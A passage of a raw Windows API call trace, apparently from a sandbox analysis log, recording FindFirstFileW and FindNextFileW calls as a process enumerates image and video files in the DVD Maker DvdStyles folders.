ftCreationTime.dwLowDateTime=0x6fa1441a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa1441a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0053.415] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0053.415] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0053.425] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f92fbec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f92fbec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6114, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflect.png", cAlternateFileName="")) returned 1 [0053.425] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 1 [0053.435] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 0 [0053.435] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0053.436] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0053.436] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0053.436] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0053.436] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eac17af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eac17af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_highlights_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0053.457] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eae790c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eae790c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_performance_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0053.457] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb0da69, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb0da69, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_photo_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0053.457] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea754f5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea754f5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_plain_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0053.464] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb33bc6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb33bc6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_postage_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0053.868] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_scrapbook_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0053.868] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_specialocc_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0053.876] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_travel_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0053.882] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_widescreen_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0053.890] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResizingPanels", cAlternateFileName="RESIZI~1")) returned 1 [0053.890] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0053.894] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.894] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7091adcb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7091adcb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0053.905] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0053.905] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5aaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bandwidth.png", cAlternateFileName="")) returned 1 [0053.911] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a25756, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a25756, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars80.png", cAlternateFileName="")) returned 1 [0054.040] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x708ceb11, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x708ceb11, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0054.047] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70810440, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70810440, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0054.055] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7083659d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7083659d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0054.062] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707c4186, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707c4186, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0054.063] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0054.080] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707ea2e3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707ea2e3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0054.086] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70940f28, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70940f28, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84ca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask.wmv", cAlternateFileName="")) returned 1 [0054.099] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 1 [0054.566] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 0 [0054.566] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0054.567] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0054.567] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e91e8b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e91e8b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="scene_button_style_default_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0054.931] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8d25f6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8d25f6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_buttongraphic.png", cAlternateFileName="")) returned 1 [0054.935] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8f8753, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8f8753, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0054.963] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8ac499, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8ac499, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_videoinset.png", cAlternateFileName="")) returned 1 [0055.377] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shatter", cAlternateFileName="")) returned 1 [0055.377] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0055.380] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.380] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0055.380] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff493d1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff493d1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f29d477, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0055.380] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f92909f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0055.380] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffe1945, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffe1945, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0055.380] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0055.380] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff9568b, 